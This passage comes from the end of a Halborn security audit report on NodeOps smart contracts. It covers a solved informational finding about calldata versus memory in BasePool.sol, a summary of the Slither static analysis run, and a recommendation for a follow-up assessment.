SOLVED: The NodeOps team has followed the recommendation and indexed the important fields in events.

Remediation Hash
References

7.15 Use of memory instead of calldata for an unmodified function argument

//

Informational

Description

In the BasePool.sol contract in the updateRewardsPool() function, the memory keyword is used for a parameters which are not modified instead of the calldata keyword.

BVSS
Recommendation

Consider using the calldata keyword instead of the memory for function arguments which are not modified.

Remediation

SOLVED: The NodeOps team has followed the recommendation and mitigated the issue.

Remediation Hash
References

8. Automated Testing

Description

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contract. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.


The security team assessed all findings identified by the Slither software, however, most of the findings are not included in the below results for the sake of report readability.


Output

The findings obtained as a result of the Slither scan were reviewed, and the majority were not included in the report because they were determined as false positives.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.

© Halborn 2025. All rights reserved.